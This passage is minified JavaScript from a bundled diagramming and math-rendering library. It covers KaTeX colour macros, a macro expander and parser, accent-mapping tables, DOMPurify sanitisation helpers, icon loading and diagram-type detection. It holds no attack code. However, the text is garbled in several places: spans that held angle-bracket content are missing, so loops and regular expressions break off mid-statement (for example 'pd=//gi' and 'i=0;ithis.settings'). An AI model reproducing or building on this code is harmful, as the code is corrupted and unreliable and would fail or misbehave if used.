n}");ce("\\blue","\\textcolor{##6495ed}{#1}");ce("\\orange","\\textcolor{##ffa500}{#1}");ce("\\pink","\\textcolor{##ff00af}{#1}");ce("\\red","\\textcolor{##df0030}{#1}");ce("\\green","\\textcolor{##28ae7b}{#1}");ce("\\gray","\\textcolor{gray}{#1}");ce("\\purple","\\textcolor{##9d38bd}{#1}");ce("\\blueA","\\textcolor{##ccfaff}{#1}");ce("\\blueB","\\textcolor{##80f6ff}{#1}");ce("\\blueC","\\textcolor{##63d9ea}{#1}");ce("\\blueD","\\textcolor{##11accd}{#1}");ce("\\blueE","\\textcolor{##0c7f99}{#1}");ce("\\tealA","\\textcolor{##94fff5}{#1}");ce("\\tealB","\\textcolor{##26edd5}{#1}");ce("\\tealC","\\textcolor{##01d1c1}{#1}");ce("\\tealD","\\textcolor{##01a995}{#1}");ce("\\tealE","\\textcolor{##208170}{#1}");ce("\\greenA","\\textcolor{##b6ffb0}{#1}");ce("\\greenB","\\textcolor{##8af281}{#1}");ce("\\greenC","\\textcolor{##74cf70}{#1}");ce("\\greenD","\\textcolor{##1fab54}{#1}");ce("\\greenE","\\textcolor{##0d923f}{#1}");ce("\\goldA","\\textcolor{##ffd0a9}{#1}");ce("\\goldB","\\textcolor{##ffbb71}{#1}");ce("\\goldC","\\textcolor{##ff9c39}{#1}");ce("\\goldD","\\textcolor{##e07d10}{#1}");ce("\\goldE","\\textcolor{##a75a05}{#1}");ce("\\redA","\\textcolor{##fca9a9}{#1}");ce("\\redB","\\textcolor{##ff8482}{#1}");ce("\\redC","\\textcolor{##f9685d}{#1}");ce("\\redD","\\textcolor{##e84d39}{#1}");ce("\\redE","\\textcolor{##bc2612}{#1}");ce("\\maroonA","\\textcolor{##ffbde0}{#1}");ce("\\maroonB","\\textcolor{##ff92c6}{#1}");ce("\\maroonC","\\textcolor{##ed5fa6}{#1}");ce("\\maroonD","\\textcolor{##ca337c}{#1}");ce("\\maroonE","\\textcolor{##9e034e}{#1}");ce("\\purpleA","\\textcolor{##ddd7ff}{#1}");ce("\\purpleB","\\textcolor{##c6b9fc}{#1}");ce("\\purpleC","\\textcolor{##aa87ff}{#1}");ce("\\purpleD","\\textcolor{##7854ab}{#1}");ce("\\purpleE","\\textcolor{##543b78}{#1}");ce("\\mintA","\\textcolor{##f5f9e8}{#1}");ce("\\mintB","\\textcolor{##edf2df}{#1}");ce("\\mintC","\\textcolor{##e0e5cc}{#1}");ce("\\grayA","\\textcolor{##f6f7f7}{#1}");ce("\\grayB","\\textcolor{##f0f1f2}{#1}");ce("\\grayC","\\textcolor{##e3e5e6}{#1}");ce("\\grayD","\\textcolor{##d6d8da}{#1}");ce("\\grayE","\\textcolor{##babec2}{#1}");ce("\\grayF","\\textcolor{##888d93}{#1}");ce("\\grayG","\\textcolor{##626569}{#1}");ce("\\grayH","\\textcolor{##3b3e40}{#1}");ce("\\grayI","\\textcolor{##21242c}{#1}");ce("\\kaBlue","\\textcolor{##314453}{#1}");ce("\\kaGreen","\\textcolor{##71B307}{#1}");$U={"^":!0,_:!0,"\\limits":!0,"\\nolimits":!0},sA=class{static{o(this,"MacroExpander")}constructor(e,r,n){this.settings=void 0,this.expansionCount=void 0,this.lexer=void 0,this.macros=void 0,this.stack=void 0,this.mode=void 0,this.settings=r,this.expansionCount=0,this.feed(e),this.macros=new aA(Iwe,r.macros),this.mode=n,this.stack=[]}feed(e){this.lexer=new S3(e,this.settings)}switchMode(e){this.mode=e}beginGroup(){this.macros.beginGroup()}endGroup(){this.macros.endGroup()}endGroups(){this.macros.endGroups()}future(){return this.stack.length===0&&this.pushToken(this.lexer.lex()),this.stack[this.stack.length-1]}popToken(){return this.future(),this.stack.pop()}pushToken(e){this.stack.push(e)}pushTokens(e){this.stack.push(...e)}scanArgument(e){var r,n,i;if(e){if(this.consumeSpaces(),this.future().text!=="[")return null;r=this.popToken(),{tokens:i,end:n}=this.consumeArg(["]"])}else({tokens:i,start:r,end:n}=this.consumeArg());return this.pushToken(new Do("EOF",n.loc)),this.pushTokens(i),r.range(n,"")}consumeSpaces(){for(;;){var e=this.future();if(e.text===" ")this.stack.pop();else break}}consumeArg(e){var r=[],n=e&&e.length>0;n||this.consumeSpaces();var i=this.future(),a,s=0,l=0;do{if(a=this.popToken(),r.push(a),a.text==="{")++s;else if(a.text==="}"){if(--s,s===-1)throw new gt("Extra }",a)}else if(a.text==="EOF")throw new gt("Unexpected end of input in a macro argument, expected '"+(e&&n?e[l]:"}")+"'",a);if(e&&n)if((s===0||s===1&&e[l]==="{")&&a.text===e[l]){if(++l,l===e.length){r.splice(-l,l);break}}else l=0}while(s!==0||n);return i.text==="{"&&r[r.length-1].text==="}"&&(r.pop(),r.shift()),r.reverse(),{tokens:r,start:i,end:a}}consumeArgs(e,r){if(r){if(r.length!==e+1)throw new gt("The length of delimiters doesn't match the number of args!");for(var n=r[0],i=0;ithis.settings.maxExpand)throw new gt("Too many expansions: infinite loop or need to increase maxExpand setting")}expandOnce(e){var r=this.popToken(),n=r.text,i=r.noexpand?null:this._getExpansion(n);if(i==null||e&&i.unexpandable){if(e&&i==null&&n[0]==="\\"&&!this.isDefined(n))throw new gt("Undefined control sequence: "+n);return this.pushToken(r),!1}this.countExpansion(1);var a=i.tokens,s=this.consumeArgs(i.numArgs,i.delimiters);if(i.numArgs){a=a.slice();for(var l=a.length-1;l>=0;--l){var u=a[l];if(u.text==="#"){if(l===0)throw new gt("Incomplete placeholder at end of macro body",u);if(u=a[--l],u.text==="#")a.splice(l+1,1);else if(/^[1-9]$/.test(u.text))a.splice(l,2,...s[+u.text-1]);else throw new gt("Not a valid argument number",u)}}}return this.pushTokens(a),a.length}expandAfterFuture(){return this.expandOnce(),this.future()}expandNextToken(){for(;;)if(this.expandOnce()===!1){var e=this.stack.pop();return e.treatAsRelax&&(e.text="\\relax"),e}throw new Error}expandMacro(e){return this.macros.has(e)?this.expandTokens([new Do(e)]):void 0}expandTokens(e){var r=[],n=this.stack.length;for(this.pushTokens(e);this.stack.length>n;)if(this.expandOnce(!0)===!1){var i=this.stack.pop();i.treatAsRelax&&(i.noexpand=!1,i.treatAsRelax=!1),r.push(i)}return this.countExpansion(r.length),r}expandMacroAsText(e){var r=this.expandMacro(e);return r&&r.map(n=>n.text).join("")}_getExpansion(e){var r=this.macros.get(e);if(r==null)return r;if(e.length===1){var n=this.lexer.catcodes[e];if(n!=null&&n!==13)return}var i=typeof r=="function"?r(this):r;if(typeof i=="string"){var a=0;if(i.indexOf("#")!==-1)for(var s=i.replace(/##/g,"");s.indexOf("#"+(a+1))!==-1;)++a;for(var l=new S3(i,this.settings),u=[],h=l.lex();h.text!=="EOF";)u.push(h),h=l.lex();u.reverse();var f={tokens:u,numArgs:a};return f}return i}isDefined(e){return this.macros.has(e)||xh.hasOwnProperty(e)||Nn.math.hasOwnProperty(e)||Nn.text.hasOwnProperty(e)||$U.hasOwnProperty(e)}isExpandable(e){var r=this.macros.get(e);return r!=null?typeof r=="string"||typeof r=="function"||!r.unexpandable:xh.hasOwnProperty(e)&&!xh[e].primitive}},HV=/^[₊₋₌₍₎₀₁₂₃₄₅₆₇₈₉ₐₑₕᵢⱼₖₗₘₙₒₚᵣₛₜᵤᵥₓᵦᵧᵨᵩᵪ]/,y3=Object.freeze({"\u208A":"+","\u208B":"-","\u208C":"=","\u208D":"(","\u208E":")","\u2080":"0","\u2081":"1","\u2082":"2","\u2083":"3","\u2084":"4","\u2085":"5","\u2086":"6","\u2087":"7","\u2088":"8","\u2089":"9","\u2090":"a","\u2091":"e","\u2095":"h","\u1D62":"i","\u2C7C":"j","\u2096":"k","\u2097":"l","\u2098":"m","\u2099":"n","\u2092":"o","\u209A":"p","\u1D63":"r","\u209B":"s","\u209C":"t","\u1D64":"u","\u1D65":"v","\u2093":"x","\u1D66":"\u03B2","\u1D67":"\u03B3","\u1D68":"\u03C1","\u1D69":"\u03D5","\u1D6A":"\u03C7","\u207A":"+","\u207B":"-","\u207C":"=","\u207D":"(","\u207E":")","\u2070":"0","\xB9":"1","\xB2":"2","\xB3":"3","\u2074":"4","\u2075":"5","\u2076":"6","\u2077":"7","\u2078":"8","\u2079":"9","\u1D2C":"A","\u1D2E":"B","\u1D30":"D","\u1D31":"E","\u1D33":"G","\u1D34":"H","\u1D35":"I","\u1D36":"J","\u1D37":"K","\u1D38":"L","\u1D39":"M","\u1D3A":"N","\u1D3C":"O","\u1D3E":"P","\u1D3F":"R","\u1D40":"T","\u1D41":"U","\u2C7D":"V","\u1D42":"W","\u1D43":"a","\u1D47":"b","\u1D9C":"c","\u1D48":"d","\u1D49":"e","\u1DA0":"f","\u1D4D":"g",\u02B0:"h","\u2071":"i",\u02B2:"j","\u1D4F":"k",\u02E1:"l","\u1D50":"m",\u207F:"n","\u1D52":"o","\u1D56":"p",\u02B3:"r",\u02E2:"s","\u1D57":"t","\u1D58":"u","\u1D5B":"v",\u02B7:"w",\u02E3:"x",\u02B8:"y","\u1DBB":"z","\u1D5D":"\u03B2","\u1D5E":"\u03B3","\u1D5F":"\u03B4","\u1D60":"\u03D5","\u1D61":"\u03C7","\u1DBF":"\u03B8"}),X7={"\u0301":{text:"\\'",math:"\\acute"},"\u0300":{text:"\\`",math:"\\grave"},"\u0308":{text:'\\"',math:"\\ddot"},"\u0303":{text:"\\~",math:"\\tilde"},"\u0304":{text:"\\=",math:"\\bar"},"\u0306":{text:"\\u",math:"\\breve"},"\u030C":{text:"\\v",math:"\\check"},"\u0302":{text:"\\^",math:"\\hat"},"\u0307":{text:"\\.",math:"\\dot"},"\u030A":{text:"\\r",math:"\\mathring"},"\u030B":{text:"\\H"},"\u0327":{text:"\\c"}},qV={\u00E1:"a\u0301",\u00E0:"a\u0300",\u00E4:"a\u0308",\u01DF:"a\u0308\u0304",\u00E3:"a\u0303",\u0101:"a\u0304",\u0103:"a\u0306",\u1EAF:"a\u0306\u0301",\u1EB1:"a\u0306\u0300",\u1EB5:"a\u0306\u0303",\u01CE:"a\u030C",\u00E2:"a\u0302",\u1EA5:"a\u0302\u0301",\u1EA7:"a\u0302\u0300",\u1EAB:"a\u0302\u0303",\u0227:"a\u0307",\u01E1:"a\u0307\u0304",\u00E5:"a\u030A",\u01FB:"a\u030A\u0301",\u1E03:"b\u0307",\u0107:"c\u0301",\u1E09:"c\u0327\u0301",\u010D:"c\u030C",\u0109:"c\u0302",\u010B:"c\u0307",\u00E7:"c\u0327",\u010F:"d\u030C",\u1E0B:"d\u0307",\u1E11:"d\u0327",\u00E9:"e\u0301",\u00E8:"e\u0300",\u00EB:"e\u0308",\u1EBD:"e\u0303",\u0113:"e\u0304",\u1E17:"e\u0304\u0301",\u1E15:"e\u0304\u0300",\u0115:"e\u0306",\u1E1D:"e\u0327\u0306",\u011B:"e\u030C",\u00EA:"e\u0302",\u1EBF:"e\u0302\u0301",\u1EC1:"e\u0302\u0300",\u1EC5:"e\u0302\u0303",\u0117:"e\u0307",\u0229:"e\u0327",\u1E1F:"f\u0307",\u01F5:"g\u0301",\u1E21:"g\u0304",\u011F:"g\u0306",\u01E7:"g\u030C",\u011D:"g\u0302",\u0121:"g\u0307",\u0123:"g\u0327",\u1E27:"h\u0308",\u021F:"h\u030C",\u0125:"h\u0302",\u1E23:"h\u0307",\u1E29:"h\u0327",\u00ED:"i\u0301",\u00EC:"i\u0300",\u00EF:"i\u0308",\u1E2F:"i\u0308\u0301",\u0129:"i\u0303",\u012B:"i\u0304",\u012D:"i\u0306",\u01D0:"i\u030C",\u00EE:"i\u0302",\u01F0:"j\u030C",\u0135:"j\u0302",\u1E31:"k\u0301",\u01E9:"k\u030C",\u0137:"k\u0327",\u013A:"l\u0301",\u013E:"l\u030C",\u013C:"l\u0327",\u1E3F:"m\u0301",\u1E41:"m\u0307",\u0144:"n\u0301",\u01F9:"n\u0300",\u00F1:"n\u0303",\u0148:"n\u030C",\u1E45:"n\u0307",\u0146:"n\u0327",\u00F3:"o\u0301",\u00F2:"o\u0300",\u00F6:"o\u0308",\u022B:"o\u0308\u0304",\u00F5:"o\u0303",\u1E4D:"o\u0303\u0301",\u1E4F:"o\u0303\u0308",\u022D:"o\u0303\u0304",\u014D:"o\u0304",\u1E53:"o\u0304\u0301",\u1E51:"o\u0304\u0300",\u014F:"o\u0306",\u01D2:"o\u030C",\u00F4:"o\u0302",\u1ED1:"o\u0302\u0301",\u1ED3:"o\u0302\u0300",\u1ED7:"o\u0302\u0303",\u022F:"o\u0307",\u0231:"o\u0307\u0304",\u0151:"o\u030B",\u1E55:"p\u0301",\u1E57:"p\u0307",\u0155:"r\u0301",\u0159:"r\u030C",\u1E59:"r\u0307",\u0157:"r\u0327",\u015B:"s\u0301",\u1E65:"s\u0301\u0307",\u0161:"s\u030C",\u1E67:"s\u030C\u0307",\u015D:"s\u0302",\u1E61:"s\u0307",\u015F:"s\u0327",\u1E97:"t\u0308",\u0165:"t\u030C",\u1E6B:"t\u0307",\u0163:"t\u0327",\u00FA:"u\u0301",\u00F9:"u\u0300",\u00FC:"u\u0308",\u01D8:"u\u0308\u0301",\u01DC:"u\u0308\u0300",\u01D6:"u\u0308\u0304",\u01DA:"u\u0308\u030C",\u0169:"u\u0303",\u1E79:"u\u0303\u0301",\u016B:"u\u0304",\u1E7B:"u\u0304\u0308",\u016D:"u\u0306",\u01D4:"u\u030C",\u00FB:"u\u0302",\u016F:"u\u030A",\u0171:"u\u030B",\u1E7D:"v\u0303",\u1E83:"w\u0301",\u1E81:"w\u0300",\u1E85:"w\u0308",\u0175:"w\u0302",\u1E87:"w\u0307",\u1E98:"w\u030A",\u1E8D:"x\u0308",\u1E8B:"x\u0307",\u00FD:"y\u0301",\u1EF3:"y\u0300",\u00FF:"y\u0308",\u1EF9:"y\u0303",\u0233:"y\u0304",\u0177:"y\u0302",\u1E8F:"y\u0307",\u1E99:"y\u030A",\u017A:"z\u0301",\u017E:"z\u030C",\u1E91:"z\u0302",\u017C:"z\u0307",\u00C1:"A\u0301",\u00C0:"A\u0300",\u00C4:"A\u0308",\u01DE:"A\u0308\u0304",\u00C3:"A\u0303",\u0100:"A\u0304",\u0102:"A\u0306",\u1EAE:"A\u0306\u0301",\u1EB0:"A\u0306\u0300",\u1EB4:"A\u0306\u0303",\u01CD:"A\u030C",\u00C2:"A\u0302",\u1EA4:"A\u0302\u0301",\u1EA6:"A\u0302\u0300",\u1EAA:"A\u0302\u0303",\u0226:"A\u0307",\u01E0:"A\u0307\u0304",\u00C5:"A\u030A",\u01FA:"A\u030A\u0301",\u1E02:"B\u0307",\u0106:"C\u0301",\u1E08:"C\u0327\u0301",\u010C:"C\u030C",\u0108:"C\u0302",\u010A:"C\u0307",\u00C7:"C\u0327",\u010E:"D\u030C",\u1E0A:"D\u0307",\u1E10:"D\u0327",\u00C9:"E\u0301",\u00C8:"E\u0300",\u00CB:"E\u0308",\u1EBC:"E\u0303",\u0112:"E\u0304",\u1E16:"E\u0304\u0301",\u1E14:"E\u0304\u0300",\u0114:"E\u0306",\u1E1C:"E\u0327\u0306",\u011A:"E\u030C",\u00CA:"E\u0302",\u1EBE:"E\u0302\u0301",\u1EC0:"E\u0302\u0300",\u1EC4:"E\u0302\u0303",\u0116:"E\u0307",\u0228:"E\u0327",\u1E1E:"F\u0307",\u01F4:"G\u0301",\u1E20:"G\u0304",\u011E:"G\u0306",\u01E6:"G\u030C",\u011C:"G\u0302",\u0120:"G\u0307",\u0122:"G\u0327",\u1E26:"H\u0308",\u021E:"H\u030C",\u0124:"H\u0302",\u1E22:"H\u0307",\u1E28:"H\u0327",\u00CD:"I\u0301",\u00CC:"I\u0300",\u00CF:"I\u0308",\u1E2E:"I\u0308\u0301",\u0128:"I\u0303",\u012A:"I\u0304",\u012C:"I\u0306",\u01CF:"I\u030C",\u00CE:"I\u0302",\u0130:"I\u0307",\u0134:"J\u0302",\u1E30:"K\u0301",\u01E8:"K\u030C",\u0136:"K\u0327",\u0139:"L\u0301",\u013D:"L\u030C",\u013B:"L\u0327",\u1E3E:"M\u0301",\u1E40:"M\u0307",\u0143:"N\u0301",\u01F8:"N\u0300",\u00D1:"N\u0303",\u0147:"N\u030C",\u1E44:"N\u0307",\u0145:"N\u0327",\u00D3:"O\u0301",\u00D2:"O\u0300",\u00D6:"O\u0308",\u022A:"O\u0308\u0304",\u00D5:"O\u0303",\u1E4C:"O\u0303\u0301",\u1E4E:"O\u0303\u0308",\u022C:"O\u0303\u0304",\u014C:"O\u0304",\u1E52:"O\u0304\u0301",\u1E50:"O\u0304\u0300",\u014E:"O\u0306",\u01D1:"O\u030C",\u00D4:"O\u0302",\u1ED0:"O\u0302\u0301",\u1ED2:"O\u0302\u0300",\u1ED6:"O\u0302\u0303",\u022E:"O\u0307",\u0230:"O\u0307\u0304",\u0150:"O\u030B",\u1E54:"P\u0301",\u1E56:"P\u0307",\u0154:"R\u0301",\u0158:"R\u030C",\u1E58:"R\u0307",\u0156:"R\u0327",\u015A:"S\u0301",\u1E64:"S\u0301\u0307",\u0160:"S\u030C",\u1E66:"S\u030C\u0307",\u015C:"S\u0302",\u1E60:"S\u0307",\u015E:"S\u0327",\u0164:"T\u030C",\u1E6A:"T\u0307",\u0162:"T\u0327",\u00DA:"U\u0301",\u00D9:"U\u0300",\u00DC:"U\u0308",\u01D7:"U\u0308\u0301",\u01DB:"U\u0308\u0300",\u01D5:"U\u0308\u0304",\u01D9:"U\u0308\u030C",\u0168:"U\u0303",\u1E78:"U\u0303\u0301",\u016A:"U\u0304",\u1E7A:"U\u0304\u0308",\u016C:"U\u0306",\u01D3:"U\u030C",\u00DB:"U\u0302",\u016E:"U\u030A",\u0170:"U\u030B",\u1E7C:"V\u0303",\u1E82:"W\u0301",\u1E80:"W\u0300",\u1E84:"W\u0308",\u0174:"W\u0302",\u1E86:"W\u0307",\u1E8C:"X\u0308",\u1E8A:"X\u0307",\u00DD:"Y\u0301",\u1EF2:"Y\u0300",\u0178:"Y\u0308",\u1EF8:"Y\u0303",\u0232:"Y\u0304",\u0176:"Y\u0302",\u1E8E:"Y\u0307",\u0179:"Z\u0301",\u017D:"Z\u030C",\u1E90:"Z\u0302",\u017B:"Z\u0307",\u03AC:"\u03B1\u0301",\u1F70:"\u03B1\u0300",\u1FB1:"\u03B1\u0304",\u1FB0:"\u03B1\u0306",\u03AD:"\u03B5\u0301",\u1F72:"\u03B5\u0300",\u03AE:"\u03B7\u0301",\u1F74:"\u03B7\u0300",\u03AF:"\u03B9\u0301",\u1F76:"\u03B9\u0300",\u03CA:"\u03B9\u0308",\u0390:"\u03B9\u0308\u0301",\u1FD2:"\u03B9\u0308\u0300",\u1FD1:"\u03B9\u0304",\u1FD0:"\u03B9\u0306",\u03CC:"\u03BF\u0301",\u1F78:"\u03BF\u0300",\u03CD:"\u03C5\u0301",\u1F7A:"\u03C5\u0300",\u03CB:"\u03C5\u0308",\u03B0:"\u03C5\u0308\u0301",\u1FE2:"\u03C5\u0308\u0300",\u1FE1:"\u03C5\u0304",\u1FE0:"\u03C5\u0306",\u03CE:"\u03C9\u0301",\u1F7C:"\u03C9\u0300",\u038E:"\u03A5\u0301",\u1FEA:"\u03A5\u0300",\u03AB:"\u03A5\u0308",\u1FE9:"\u03A5\u0304",\u1FE8:"\u03A5\u0306",\u038F:"\u03A9\u0301",\u1FFA:"\u03A9\u0300"},C3=class t{static{o(this,"Parser")}constructor(e,r){this.mode=void 0,this.gullet=void 0,this.settings=void 0,this.leftrightDepth=void 0,this.nextToken=void 0,this.mode="math",this.gullet=new sA(e,r,this.mode),this.settings=r,this.leftrightDepth=0}expect(e,r){if(r===void 0&&(r=!0),this.fetch().text!==e)throw new gt("Expected '"+e+"', got '"+this.fetch().text+"'",this.fetch());r&&this.consume()}consume(){this.nextToken=null}fetch(){return this.nextToken==null&&(this.nextToken=this.gullet.expandNextToken()),this.nextToken}switchMode(e){this.mode=e,this.gullet.switchMode(e)}parse(){this.settings.globalGroup||this.gullet.beginGroup(),this.settings.colorIsTextColor&&this.gullet.macros.set("\\color","\\textcolor");try{var e=this.parseExpression(!1);return this.expect("EOF"),this.settings.globalGroup||this.gullet.endGroup(),e}finally{this.gullet.endGroups()}}subparse(e){var r=this.nextToken;this.consume(),this.gullet.pushToken(new Do("}")),this.gullet.pushTokens(e);var n=this.parseExpression(!1);return this.expect("}"),this.nextToken=r,n}parseExpression(e,r){for(var n=[];;){this.mode==="math"&&this.consumeSpaces();var i=this.fetch();if(t.endOfExpression.indexOf(i.text)!==-1||r&&i.text===r||e&&xh[i.text]&&xh[i.text].infix)break;var a=this.parseAtom(r);if(a){if(a.type==="internal")continue}else break;n.push(a)}return this.mode==="text"&&this.formLigatures(n),this.handleInfixNodes(n)}handleInfixNodes(e){for(var r=-1,n,i=0;i=0&&this.settings.reportNonstrict("unicodeTextInMathMode",'Latin-1/Unicode text character "'+r[0]+'" used in math mode',e);var l=Nn[this.mode][r].group,u=to.range(e),h;if(STe.hasOwnProperty(l)){var f=l;h={type:"atom",mode:this.mode,family:f,loc:u,text:r}}else h={type:l,mode:this.mode,loc:u,text:r};s=h}else if(r.charCodeAt(0)>=128)this.settings.strict&&(YV(r.charCodeAt(0))?this.mode==="math"&&this.settings.reportNonstrict("unicodeTextInMathMode",'Unicode text character "'+r[0]+'" used in math mode',e):this.settings.reportNonstrict("unknownSymbol",'Unrecognized Unicode character "'+r[0]+'"'+(" ("+r.charCodeAt(0)+")"),e)),s={type:"textord",mode:"text",loc:to.range(e),text:r};else return null;if(this.consume(),a)for(var d=0;d{e.tagName==="A"&&e.hasAttribute("target")&&e.setAttribute(t,e.getAttribute("target")??"")}),yh.addHook("afterSanitizeAttributes",e=>{e.tagName==="A"&&e.hasAttribute(t)&&(e.setAttribute("target",e.getAttribute(t)??""),e.removeAttribute(t),e.getAttribute("target")==="_blank"&&e.setAttribute("rel","noopener"))})}var pd,Pwe,Bwe,KU,XU,sr,$we,zwe,Gwe,Vwe,QU,md,vr,Uwe,Hwe,rc,SA,qwe,Wwe,jU,I3,kn,gd,Ywe,kh,tt,gr=N(()=>{"use strict";O7();pd=//gi,Pwe=o(t=>t?QU(t).replace(/\\n/g,"#br#").split("#br#"):[""],"getRows"),Bwe=(()=>{let t=!1;return()=>{t||(Fwe(),t=!0)}})();o(Fwe,"setupDompurifyHooks");KU=o(t=>(Bwe(),yh.sanitize(t)),"removeScript"),XU=o((t,e)=>{if(e.flowchart?.htmlLabels!==!1){let r=e.securityLevel;r==="antiscript"||r==="strict"?t=KU(t):r!=="loose"&&(t=QU(t),t=t.replace(//g,">"),t=t.replace(/=/g,"="),t=Vwe(t))}return t},"sanitizeMore"),sr=o((t,e)=>t&&(e.dompurifyConfig?t=yh.sanitize(XU(t,e),e.dompurifyConfig).toString():t=yh.sanitize(XU(t,e),{FORBID_TAGS:["style"]}).toString(),t),"sanitizeText"),$we=o((t,e)=>typeof t=="string"?sr(t,e):t.flat().map(r=>sr(r,e)),"sanitizeTextOrArray"),zwe=o(t=>pd.test(t),"hasBreaks"),Gwe=o(t=>t.split(pd),"splitBreaks"),Vwe=o(t=>t.replace(/#br#/g,"
    "),"placeholderToBreak"),QU=o(t=>t.replace(pd,"#br#"),"breakToPlaceholder"),md=o(t=>{let e="";return t&&(e=window.location.protocol+"//"+window.location.host+window.location.pathname+window.location.search,e=CSS.escape(e)),e},"getUrl"),vr=o(t=>!(t===!1||["false","null","0"].includes(String(t).trim().toLowerCase())),"evaluate"),Uwe=o(function(...t){let e=t.filter(r=>!isNaN(r));return Math.max(...e)},"getMax"),Hwe=o(function(...t){let e=t.filter(r=>!isNaN(r));return Math.min(...e)},"getMin"),rc=o(function(t){let e=t.split(/(,)/),r=[];for(let n=0;n0&&n+1Math.max(0,t.split(e).length-1),"countOccurrence"),qwe=o((t,e)=>{let r=SA(t,"~"),n=SA(e,"~");return r===1&&n===1},"shouldCombineSets"),Wwe=o(t=>{let e=SA(t,"~"),r=!1;if(e<=1)return t;e%2!==0&&t.startsWith("~")&&(t=t.substring(1),r=!0);let n=[...t],i=n.indexOf("~"),a=n.lastIndexOf("~");for(;i!==-1&&a!==-1&&i!==a;)n[i]="<",n[a]=">",i=n.indexOf("~"),a=n.lastIndexOf("~");return r&&n.unshift("~"),n.join("")},"processSet"),jU=o(()=>window.MathMLElement!==void 0,"isMathMLSupported"),I3=/\$\$(.*)\$\$/g,kn=o(t=>(t.match(I3)?.length??0)>0,"hasKatex"),gd=o(async(t,e)=>{let r=document.createElement("div");r.innerHTML=await kh(t,e),r.id="katex-temp",r.style.visibility="hidden",r.style.position="absolute",r.style.top="0",document.querySelector("body")?.insertAdjacentElement("beforeend",r);let i={width:r.clientWidth,height:r.clientHeight};return r.remove(),i},"calculateMathMLDimensions"),Ywe=o(async(t,e)=>{if(!kn(t))return t;if(!(jU()||e.legacyMathML||e.forceLegacyMathML))return t.replace(I3,"MathML is unsupported in this environment.");{let{default:r}=await Promise.resolve().then(()=>(YU(),WU)),n=e.forceLegacyMathML||!jU()&&e.legacyMathML?"htmlAndMathml":"mathml";return t.split(pd).map(i=>kn(i)?`
    ${i}
    `:`
    ${i}
    `).join("").replace(I3,(i,a)=>r.renderToString(a,{throwOnError:!0,displayMode:!0,output:n}).replace(/\n/g," ").replace(//g,""))}return t.replace(I3,"Katex is not supported in @mermaid-js/tiny. Please use the full mermaid library.")},"renderKatexUnsanitized"),kh=o(async(t,e)=>sr(await Ywe(t,e),e),"renderKatexSanitized"),tt={getRows:Pwe,sanitizeText:sr,sanitizeTextOrArray:$we,hasBreaks:zwe,splitBreaks:Gwe,lineBreakRegex:pd,removeScript:KU,getUrl:md,evaluate:vr,getMax:Uwe,getMin:Hwe}});var AA,CA,ZU,O3,JU,eH,_s,nc=N(()=>{"use strict";sG();qn();gr();pt();AA={body:'?',height:80,width:80},CA=new Map,ZU=new Map,O3=o(t=>{for(let e of t){if(!e.name)throw new Error('Invalid icon loader. Must have a "name" property with non-empty string value.');if(X.debug("Registering icon pack:",e.name),"loader"in e)ZU.set(e.name,e.loader);else if("icons"in e)CA.set(e.name,e.icons);else throw X.error("Invalid icon loader:",e),new Error('Invalid icon loader. Must have either "icons" or "loader" property.')}},"registerIconPacks"),JU=o(async(t,e)=>{let r=r7(t,!0,e!==void 0);if(!r)throw new Error(`Invalid icon name: ${t}`);let n=r.prefix||e;if(!n)throw new Error(`Icon name must contain a prefix: ${t}`);let i=CA.get(n);if(!i){let s=ZU.get(n);if(!s)throw new Error(`Icon set not found: ${r.prefix}`);try{i={...await s(),prefix:n},CA.set(n,i)}catch(l){throw X.error(l),new Error(`Failed to load icon set: ${r.prefix}`)}}let a=i7(i,r.name);if(!a)throw new Error(`Icon not found: ${t}`);return a},"getRegisteredIconData"),eH=o(async t=>{try{return await JU(t),!0}catch{return!1}},"isIconAvailable"),_s=o(async(t,e,r)=>{let n;try{n=await JU(t,e?.fallbackPrefix)}catch(s){X.error(s),n=AA}let i=s7(n,e),a=l7(o7(i.body),{...i.attributes,...r});return sr(a,Qt())},"getIconSVG")});function P3(t){for(var e=[],r=1;r{"use strict";o(P3,"dedent")});var B3,yd,tH,F3=N(()=>{"use strict";B3=/^-{3}\s*[\n\r](.*?)[\n\r]-{3}\s*[\n\r]+/s,yd=/%{2}{\s*(?:(\w+)\s*:|(\w+))\s*(?:(\w+)|((?:(?!}%{2}).|\r?\n)*))?\s*(?:}%{2})?/gi,tH=/\s*%%.*\n/gm});var A0,DA=N(()=>{"use strict";A0=class extends Error{static{o(this,"UnknownDiagramError")}constructor(e){super(e),this.name="UnknownDiagramError"}}});var gu,_0,ev,LA,rH,vd=N(()=>{"use strict";pt();F3();DA();gu={},_0=o(function(t,e){t=t.replace(B3,"").replace(yd,"").replace(tH,` +`);for(let[r,{detector:n}]of Object.entries(gu))if(n(t,e))return r;throw new A0(`No diagram type detected matching given configuration for text: ${t}`)},"detectType"),ev=o((...t)=>{for(let{id:e,detector:r,loader:n}of t)LA(e,r,n)},"registerLazyLoadedDiagrams"),LA=o((t,e,r)=>{gu[t]&&X.warn(`Detector with key ${t} already exists. Overwriting.`),gu[t]={detector:e,loader:r},X.debug(`Detector with key ${t} added${r?" with loader":""}`)},"addDetector"),rH=o(t=>gu[t].loader,"getDiagramLoader")});var tv,nH,RA=N(()=>{"use strict";tv=(function(){var t=o(function(He,Le,Ie,Ne){for(Ie=Ie||{},Ne=He.length;Ne--;Ie[He[Ne]]=Le);return Ie},"o"),e=[1,24],r=[1,25],n=[1,26],i=[1,27],a=[1,28],s=[1,63],l=[1,64],u=[1,65],h=[1,66],f=[1,67],d=[1,68],p=[1,69],m=[1,29],g=[1,30],y=[1,31],v=[1,32],x=[1,33],b=[1,34],T=[1,35],S=[1,36],w=[1,37],k=[1,38],A=[1,39],C=[1,40],R=[1,41],I=[1,42],L=[1,43],E=[1,44],D=[1,45],_=[1,46],O=[1,47],M=[1,48],P=[1,50],B=[1,51],F=[1,52],G=[1,53],$=[1,54],U=[1,55],j=[1,56],te=[1,57],Y=[1,58],oe=[1,59],J=[1,60],ue=[14,42],re=[14,34,36,37,38,39,40,41,42,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],ee=[12,14,34,36,37,38,39,40,41,42,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],Z=[1,82],K=[1,83],ae=[1,84],Q=[1,85],de=[12,14,42],ne=[12,14,33,42],Te=[12,14,33,42,76,77,79,80],q=[12,33],Ve=[34,36,37,38,39,40,41,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],pe={trace:o(function(){},"trace"),yy:{},symbols_: